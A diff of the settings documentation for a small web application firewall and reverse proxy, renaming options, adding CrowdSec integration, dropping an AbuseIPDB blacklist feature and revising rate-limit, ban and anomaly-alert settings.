@@ -89,9 +87,8 @@ chooses between the two (see "The image's command" below).
|
|||||||
|
|
||||||
## Metrics
|
## Metrics
|
||||||
|
|
||||||
- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` (default `50`): how many AS
|
- `SWW_WAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
|
||||||
numbers and how many countries get series of their own. A whole number above
|
countries get series of their own. A whole number above zero.
|
||||||
zero.
|
|
||||||
|
|
||||||
## Static lists
|
## Static lists
|
||||||
|
|
||||||
@@ -137,10 +134,10 @@ cut off; the client is banned.
|
|||||||
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
|
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
|
||||||
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
|
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
|
||||||
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
|
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
|
||||||
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which
|
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes
|
||||||
bytes count: response bodies, request bodies or both. The request that passes
|
count: response bodies, request bodies or both. The request that passes the
|
||||||
the limit is not cut off, and the client is banned when its response ends.
|
limit is not cut off, and the client is banned when its response ends.
|
||||||
- `SWW_WAF_BYTES_COUNTED` (default `both`): what the byte limits and the byte
|
- `SWW_WAF_BYTES_COUNT` (default `both`): what the byte limits and the byte
|
||||||
anomaly thresholds count: `response`, the app's response bodies; `request`,
|
anomaly thresholds count: `response`, the app's response bodies; `request`,
|
||||||
the visitors' request bodies; or `both`. What the visitor sent over a
|
the visitors' request bodies; or `both`. What the visitor sent over a
|
||||||
WebSocket counts as request bytes, and what the app sent as response bytes.
|
WebSocket counts as request bytes, and what the app sent as response bytes.
|
||||||
@@ -150,23 +147,20 @@ cut off; the client is banned.
|
|||||||
- `SWW_WAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off`
|
- `SWW_WAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off`
|
||||||
stops the start while a setting that needs a lookup is set:
|
stops the start while a setting that needs a lookup is set:
|
||||||
- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES`;
|
- `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES`;
|
||||||
- `SWW_WAF_ADD_LOOKUP_HEADERS` set to `true`;
|
- `SWW_WAF_ADD_LOOKUP_HEADERS`;
|
||||||
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
|
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
|
||||||
or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
|
or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
|
||||||
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
|
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
|
||||||
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` below `100`;
|
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` below `100`;
|
||||||
- an anomaly threshold per AS number.
|
- an anomaly threshold per AS number.
|
||||||
- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
|
- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
|
||||||
its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
|
its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
|
||||||
- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` (default `800`): how long a
|
- `SWW_WAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
|
||||||
request waits for its client's first answer from GeoJS. A time in
|
client's first answer from GeoJS, and how long a request to GeoJS may take. A
|
||||||
milliseconds; never `off`. It does not cut off the request to GeoJS, whose
|
duration; never `off`.
|
||||||
answer is kept when it comes later.
|
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the
|
||||||
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `true`): `true` has `rproxy` pass the
|
|
||||||
app the client's AS number in `X-Client-ASN` and its country in
|
app the client's AS number in `X-Client-ASN` and its country in
|
||||||
`X-Client-Country`. The default is `false` while `SWW_WAF_LOOKUP_SOURCE` is
|
`X-Client-Country`.
|
||||||
`off`. With GeoJS, a new client's first request waits for its answer, up to
|
|
||||||
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`.
|
|
||||||
|
|
||||||
## Country list
|
## Country list
|
||||||
|
|
||||||
@@ -183,8 +177,8 @@ in [`SPEC.md`](../SPEC.md).
|
|||||||
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
|
||||||
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
|
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
|
||||||
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
|
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
|
||||||
So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS` or is
|
So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS`,
|
||||||
`SWW_WAF_ASN_LIMIT_PERCENT_URL`.
|
`SWW_WAF_ASN_LIMIT_PERCENT_URL`, or the CrowdSec decision list.
|
||||||
- `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as
|
- `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as
|
||||||
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
|
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
|
||||||
`country=` tag without a country, is refused.
|
`country=` tag without a country, is refused.
|
||||||
@@ -212,20 +206,22 @@ tag that no request can get stops the start. A request can get only these:
|
|||||||
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
|
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
|
||||||
masked as the `reputation` field shows it;
|
masked as the `reputation` field shows it;
|
||||||
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
|
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
|
||||||
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while
|
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while `SWW_WAF_RULES_ENABLED`
|
||||||
`SWW_WAF_RULE_FILES_ENABLED` is `true`, or while neither
|
is `true`, or while neither `SWW_WAF_CORE_RULE_SET_MODE` nor
|
||||||
`SWW_WAF_CORE_RULE_SET_MODE` nor `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` is
|
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` is `off`.
|
||||||
`off`.
|
|
||||||
|
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
|
||||||
|
the request first.
|
||||||
|
|
||||||
## Biased thresholds
|
## Biased thresholds
|
||||||
|
|
||||||
- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT`
|
- `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` (default
|
||||||
(default empty): a percentage of the byte limits alone, for the AS numbers or
|
empty): a percentage of the byte limits alone, for the AS numbers or countries
|
||||||
countries listed, such as `AS14061:50` or `cn:25`. It takes the place of the
|
listed, such as `AS14061:50` or `cn:25`. It takes the place of the percentage
|
||||||
percentage `SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag.
|
`SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number
|
||||||
An AS number or country listed twice is refused.
|
or country listed twice is refused.
|
||||||
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` (default `100`): the percentage for a
|
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client
|
||||||
client the lookup cannot place.
|
the lookup cannot place.
|
||||||
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
|
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
|
||||||
a text file with one AS number and percentage on each line, such as
|
a text file with one AS number and percentage on each line, such as
|
||||||
`AS64496:50`. Each entry counts like an `asn=` tag in
|
`AS64496:50`. Each entry counts like an `asn=` tag in
|
||||||
@@ -234,15 +230,15 @@ tag that no request can get stops the start. A request can get only these:
|
|||||||
|
|
||||||
## Attack detection
|
## Attack detection
|
||||||
|
|
||||||
- `SWW_WAF_RULE_FILES_DIR` (default `/etc/sww/rules.d`): the directory of the
|
- `SWW_WAF_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule
|
||||||
rule files.
|
files.
|
||||||
- `SWW_WAF_RULE_FILES_ENABLED` (default `true`): `false` reads no rule file.
|
- `SWW_WAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
|
||||||
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
|
||||||
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
|
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
|
||||||
- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
|
- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
|
||||||
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
|
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
|
||||||
paranoia level, from 1 to 4.
|
paranoia level, from 1 to 4.
|
||||||
- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` (default `5`): the score at which a
|
- `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` (default `5`): the score at which a
|
||||||
request is a match. A whole number above zero, or `off`.
|
request is a match. A whole number above zero, or `off`.
|
||||||
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
|
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
|
||||||
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
|
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
|
||||||
@@ -251,10 +247,11 @@ tag that no request can get stops the start. A request can get only these:
|
|||||||
`smallwebwaf`'s own.
|
`smallwebwaf`'s own.
|
||||||
- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
|
- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
|
||||||
Rule Set does not inspect.
|
Rule Set does not inspect.
|
||||||
- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` (default `off`): `off`, or how
|
- `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` (default `off`): `off`, or how much of a
|
||||||
much of a request body the Core Rule Set reads, a size of at most `8K`. A
|
request body the Core Rule Set reads, a size of at most `64K`. A question
|
||||||
larger size would let one request keep it busy past `rproxy`'s timeout (see
|
carries no more of a body than 64 KiB, and the Core Rule Set reads at most 64
|
||||||
"Answering in time" in [`SPEC.md`](../SPEC.md)).
|
KiB less one byte of it, whatever the value (see "The answer" in
|
||||||
|
[`SPEC.md`](../SPEC.md)).
|
||||||
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
|
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
|
||||||
Set exclusions, written as Coraza directives. It is loaded before the Core
|
Set exclusions, written as Coraza directives. It is loaded before the Core
|
||||||
Rule Set's rules, so it holds only `SecAction` and `SecRule` lines that
|
Rule Set's rules, so it holds only `SecAction` and `SecRule` lines that
|
||||||
@@ -291,10 +288,9 @@ tag that no request can get stops the start. A request can get only these:
|
|||||||
- a hostname listed twice;
|
- a hostname listed twice;
|
||||||
- an app listed twice for one hostname;
|
- an app listed twice for one hostname;
|
||||||
- an entry without a colon.
|
- an entry without a colon.
|
||||||
- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` (default `30`): the most refusals a client
|
- `SWW_WAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may
|
||||||
may get in a minute from a rule file, a trap path or the Core Rule Set, a
|
get in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||||
count or `off`. The next one bans the client (see "Attack detection" in
|
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
||||||
`SPEC.md`).
|
|
||||||
|
|
||||||
## Ban lengths, response and scope
|
## Ban lengths, response and scope
|
||||||
|
|
||||||
@@ -303,8 +299,8 @@ tag that no request can get stops the start. A request can get only these:
|
|||||||
A duration.
|
A duration.
|
||||||
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
|
||||||
within which breaking a limit again lengthens the next ban. A duration.
|
within which breaking a limit again lengthens the next ban. A duration.
|
||||||
- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): a ban for a broken limit
|
- `SWW_WAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
|
||||||
that would be longer than this is permanent instead. A duration.
|
one that would be longer is permanent. A duration.
|
||||||
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
|
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
|
||||||
of attack. A duration.
|
of attack. A duration.
|
||||||
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
|
||||||
@@ -332,19 +328,20 @@ tag that no request can get stops the start. A request can get only these:
|
|||||||
score, from 0 to 100, that is a hit.
|
score, from 0 to 100, that is a hit.
|
||||||
- `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a
|
- `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a
|
||||||
day, a whole number above zero. AbuseIPDB's free accounts may make 1,000.
|
day, a whole number above zero. AbuseIPDB's free accounts may make 1,000.
|
||||||
- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (default `limit:25`): `deny`,
|
- `SWW_WAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec
|
||||||
`limit:<percent>` or `log`, for DNS blocklist and AbuseIPDB hits.
|
engine you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL
|
||||||
- `SWW_WAF_IP_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict
|
without a user or a fragment; its decision list is at `v1/decisions` under it.
|
||||||
or AbuseIPDB's score is used. A duration.
|
Set without the key, it is refused. So is a decision list URL that is also in
|
||||||
- `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` (default `2000`): how long a query to a
|
`SWW_WAF_BLOCKLIST_URLS`, or that is `SWW_WAF_ASN_LIMIT_PERCENT_URL`.
|
||||||
zone or a check with AbuseIPDB may take. A time in milliseconds.
|
- `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
|
||||||
- `SWW_WAF_ABUSEIPDB_THRESHOLD` (default `90`): the least abuse confidence score
|
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
|
||||||
of the clients on AbuseIPDB's blacklist, a whole number from 25 to 100. It
|
URL, it is refused.
|
||||||
should not be set below 50 to 75, since lower scores list ordinary visitors.
|
- `SWW_WAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
|
||||||
- `SWW_WAF_ABUSEIPDB_BLACKLIST_REFRESH_INTERVAL_MINS` (default `60`): how often
|
`log`, for DNS blocklist and AbuseIPDB hits.
|
||||||
the blacklist is fetched again, in minutes. A whole number above zero.
|
- `SWW_WAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
|
||||||
- `SWW_WAF_ABUSEIPDB_BAN_DAYS` (default `30`): how long the ban of a client on
|
AbuseIPDB's score is used. A duration.
|
||||||
the blacklist lasts, in days. A whole number above zero.
|
- `SWW_WAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
|
||||||
|
check with AbuseIPDB may take. A duration.
|
||||||
|
|
||||||
## Alerting
|
## Alerting
|
||||||
|
|
||||||
@@ -371,13 +368,8 @@ tag that no request can get stops the start. A request can get only these:
|
|||||||
|
|
||||||
## Anomaly thresholds
|
## Anomaly thresholds
|
||||||
|
|
||||||
An anomaly is more requests or bytes than one of these thresholds allows.
|
|
||||||
Crossing a threshold sends one `anomaly` alert to the destinations under
|
|
||||||
"Alerting", and does nothing else: no client is banned, rate limited or blocked.
|
|
||||||
`SWW_WAF_ALERT_COOLDOWN` holds back repeats of that alert.
|
|
||||||
|
|
||||||
Each scope has four thresholds: the most requests and the most body bytes
|
Each scope has four thresholds: the most requests and the most body bytes
|
||||||
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNTED`
|
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNT`
|
||||||
names. Requests are counts, bytes are sizes. Each is `off` by default. The four
|
names. Requests are counts, bytes are sizes. Each is `off` by default. The four
|
||||||
thresholds per client are:
|
thresholds per client are:
|
||||||
|
|
||||||
@@ -397,10 +389,9 @@ as `REQUESTS_PER_MINUTE`:
|
|||||||
client.
|
client.
|
||||||
- `SWW_WAF_ANOMALY_ASN_...`: per AS number.
|
- `SWW_WAF_ANOMALY_ASN_...`: per AS number.
|
||||||
- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
|
- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
|
||||||
- `SWW_WAF_ANOMALY_WATCHED_NET_...`: each netblock in
|
- `SWW_WAF_WATCH_...`: each netblock in `SWW_WAF_WATCH_NETS`, as a whole.
|
||||||
`SWW_WAF_ANOMALY_WATCHED_NETS`, as a whole. `SWW_WAF_ANOMALY_WATCHED_NETS`
|
`SWW_WAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
|
||||||
(default empty) is a list of name, `=` and netblock, such as
|
as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
||||||
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
|
|
||||||
name, or with a bad netblock, is refused. So is a name used twice.
|
name, or with a bad netblock, is refused. So is a name used twice.
|
||||||
|
|
||||||
## Settings given as files
|
## Settings given as files
|
||||||
@@ -435,9 +426,8 @@ A few limits are fixed rather than settings:
|
|||||||
- at most 20,000 anomaly counters are kept;
|
- at most 20,000 anomaly counters are kept;
|
||||||
- each alert destination's queue holds at most 1,000 alerts;
|
- each alert destination's queue holds at most 1,000 alerts;
|
||||||
- `waf` holds at most 10,000 answered requests awaiting their reports;
|
- `waf` holds at most 10,000 answered requests awaiting their reports;
|
||||||
- `waf` refuses a request with a request line or header line over 8 KiB, more
|
- `waf` refuses a request with more than 50 cookies or more than 100 header
|
||||||
than 50 cookies or more than 100 header fields (see "Answering in time" under
|
fields (see "Answering in time" under "`waf`" in [`SPEC.md`](../SPEC.md));
|
||||||
"`waf`" in [`SPEC.md`](../SPEC.md));
|
|
||||||
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a
|
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a
|
||||||
kept-open connection idle for 120 seconds;
|
kept-open connection idle for 120 seconds;
|
||||||
- `rproxy` reads at most 1 MiB of the body of `waf`'s answer, and answers `502`
|
- `rproxy` reads at most 1 MiB of the body of `waf`'s answer, and answers `502`
|
||||||
@@ -445,13 +435,10 @@ A few limits are fixed rather than settings:
|
|||||||
|
|
||||||
## `waf`'s answer and `rproxy`'s wait
|
## `waf`'s answer and `rproxy`'s wait
|
||||||
|
|
||||||
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is the longest a question waits on
|
`SWW_WAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
|
||||||
an outside source. Keep it well under `rproxy`'s
|
Keep it well under `rproxy`'s `SWW_RPROXY_TIMEOUT_MS`, as the default is. No
|
||||||
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, as the default is. The trap paths, the rule
|
question waits for `SWW_WAF_REPUTATION_TIMEOUT`, since the DNS blocklists and
|
||||||
files and the Core Rule Set run during that wait and have 500 ms, so `waf`
|
AbuseIPDB are asked in the background (see "Answering in time" under "`waf`" in
|
||||||
answers within the longer of the two times. No question waits for
|
|
||||||
`SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`, since the DNS blocklists and AbuseIPDB are
|
|
||||||
asked in the background (see "Answering in time" under "`waf`" in
|
|
||||||
[`SPEC.md`](../SPEC.md)).
|
[`SPEC.md`](../SPEC.md)).
|
||||||
|
|
||||||
## `rproxy`
|
## `rproxy`
|
||||||
@@ -460,16 +447,18 @@ asked in the background (see "Answering in time" under "`waf`" in
|
|||||||
start, and an invalid value stops the start. Any can be given as a file, as a
|
start, and an invalid value stops the start. Any can be given as a file, as a
|
||||||
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
|
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
|
||||||
|
|
||||||
|
A time here is a whole number of milliseconds above zero, such as `2000`.
|
||||||
|
|
||||||
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
|
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
|
||||||
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
`https` URL with a host and an optional port, and nothing more. `rproxy`
|
||||||
speaks HTTP/1.1 to it.
|
speaks HTTP/1.1 to it.
|
||||||
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
|
- `SWW_RPROXY_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
|
||||||
for `waf`'s answer, to a question and to a report. A time in milliseconds;
|
answer, to a question and to a report. A time; never `off`.
|
||||||
never `off`.
|
- `SWW_RPROXY_DEFAULT_DISPOSITION` (default `allow`): what is done with a
|
||||||
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
|
request when `waf` cannot be connected to, does not answer at all, or does not
|
||||||
with a request when `waf` gives no answer in time, and while the circuit
|
answer within `SWW_RPROXY_TIMEOUT_MS`. `allow` passes it to the app, and
|
||||||
breaker for asks to `waf` is open. `allow` passes it to the app, and `deny`
|
`deny` answers `503`. It does not apply to an answer `waf` gives, such as an
|
||||||
answers `503`. It does not apply to an answer `waf` gives, such as an error.
|
error.
|
||||||
- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
|
- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
|
||||||
size or `off`.
|
size or `off`.
|
||||||
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
|
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
|
||||||
@@ -477,12 +466,11 @@ start, and an invalid value stops the start. Any can be given as a file, as a
|
|||||||
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
|
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
|
||||||
take to send its request line and headers. It then also bounds, from the end
|
take to send its request line and headers. It then also bounds, from the end
|
||||||
of the headers, the time until the app has been sent the whole request. A time
|
of the headers, the time until the app has been sent the whole request. A time
|
||||||
in milliseconds or `off`.
|
or `off`.
|
||||||
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
|
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
|
||||||
take, from the end of the request to its last byte reaching the visitor. An
|
take, from the end of the request to its last byte reaching the visitor. An
|
||||||
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
|
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
|
||||||
do the status and headers of the app's answer. A time in milliseconds or
|
do the status and headers of the app's answer. A time or `off`.
|
||||||
`off`.
|
|
||||||
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
|
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
|
||||||
`:9000`.
|
`:9000`.
|
||||||
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
|
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
|
||||||
@@ -491,9 +479,9 @@ start, and an invalid value stops the start. Any can be given as a file, as a
|
|||||||
`10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`): the netblocks whose
|
`10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`): the netblocks whose
|
||||||
`X-Forwarded-For` is believed. Set but empty, it trusts nothing. A client
|
`X-Forwarded-For` is believed. Set but empty, it trusts nothing. A client
|
||||||
outside these netblocks cannot claim another address. Where other containers
|
outside these netblocks cannot claim another address. Where other containers
|
||||||
reach `rproxy` directly, or visitors on a private network reach the
|
reach `rproxy` directly, or visitors on a private network reach traefik, they
|
||||||
TLS-terminating proxy, they can name another address in the header. Narrowing
|
can name another address in the header. Narrowing the setting to traefik's own
|
||||||
the setting to the TLS-terminating proxy's own network closes that gap.
|
network closes that gap.
|
||||||
|
|
||||||
## The image's command
|
## The image's command
|
||||||
|
|
||||||
|
|||||||
+5
-19
@@ -21,22 +21,11 @@ top-level `version` of 1.
|
|||||||
|
|
||||||
## `bans.json`
|
## `bans.json`
|
||||||
|
|
||||||
Active and past bans:
|
Active and past bans: every ban an admin made, and up to `SWW_WAF_MAX_BANS` of
|
||||||
|
those `waf` made. Per entry:
|
||||||
- every ban an admin made;
|
|
||||||
- up to `SWW_WAF_MAX_BANS` of those `waf` made for a broken limit or an attack;
|
|
||||||
- the bans for AbuseIPDB's blacklist.
|
|
||||||
|
|
||||||
A ban for AbuseIPDB's blacklist that has ended is forgotten at the next of
|
|
||||||
these:
|
|
||||||
|
|
||||||
- a fetch of the blacklist in `enforce` mode;
|
|
||||||
- a read of `bans.json`, at the start or after an admin's edit.
|
|
||||||
|
|
||||||
Per entry:
|
|
||||||
|
|
||||||
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
- `netblock`, `start` and `expires` (`null` for a permanent ban);
|
||||||
- `cause`: `attack`, `limit`, `admin` or `abuseipdb`;
|
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
|
||||||
- `reason`: a short reason;
|
- `reason`: a short reason;
|
||||||
- `lifted`: when an admin lifted it, if one did;
|
- `lifted`: when an admin lifted it, if one did;
|
||||||
- `notes`: the notes below.
|
- `notes`: the notes below.
|
||||||
@@ -71,8 +60,7 @@ ban. The notes:
|
|||||||
- for a clear sign of attack, `rule_id` and `target`, or `trap_path`;
|
- for a clear sign of attack, `rule_id` and `target`, or `trap_path`;
|
||||||
- `reputation`: the sources the client was on, each with its `source` and, for
|
- `reputation`: the sources the client was on, each with its `source` and, for
|
||||||
AbuseIPDB, its `score`;
|
AbuseIPDB, its `score`;
|
||||||
- `request`: the request that caused the ban, each text cut to 256 bytes, and
|
- `request`: the request that caused the ban, each text cut to 256 bytes:
|
||||||
empty for a ban for AbuseIPDB's blacklist:
|
|
||||||
- `time`, `method` and `host`;
|
- `time`, `method` and `host`;
|
||||||
- `path`, with its query string;
|
- `path`, with its query string;
|
||||||
- `status` and `user_agent`;
|
- `status` and `user_agent`;
|
||||||
@@ -163,9 +151,7 @@ A cache file. routewatch's answers from the last hour, one per line:
|
|||||||
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
|
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
|
||||||
the default `SWW_WAF_MAX_BANS`. Written every 15 minutes, a full file comes to
|
the default `SWW_WAF_MAX_BANS`. Written every 15 minutes, a full file comes to
|
||||||
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
|
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
|
||||||
more. A ban for AbuseIPDB's blacklist takes about 1 KiB. A free account's
|
more.
|
||||||
blacklist lists 10,000 clients, so it adds at least 10 MiB, and 1 GiB of
|
|
||||||
writes a day.
|
|
||||||
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
||||||
full.
|
full.
|
||||||
- `routewatch.json`: about 120 bytes per answer, at most about 12 MiB.
|
- `routewatch.json`: about 120 bytes per answer, at most about 12 MiB.
|
||||||
|
|||||||
@@ -12,9 +12,6 @@ require (
|
|||||||
github.com/oschwald/maxminddb-golang/v2 v2.7.0
|
github.com/oschwald/maxminddb-golang/v2 v2.7.0
|
||||||
github.com/prometheus/client_golang v1.24.1
|
github.com/prometheus/client_golang v1.24.1
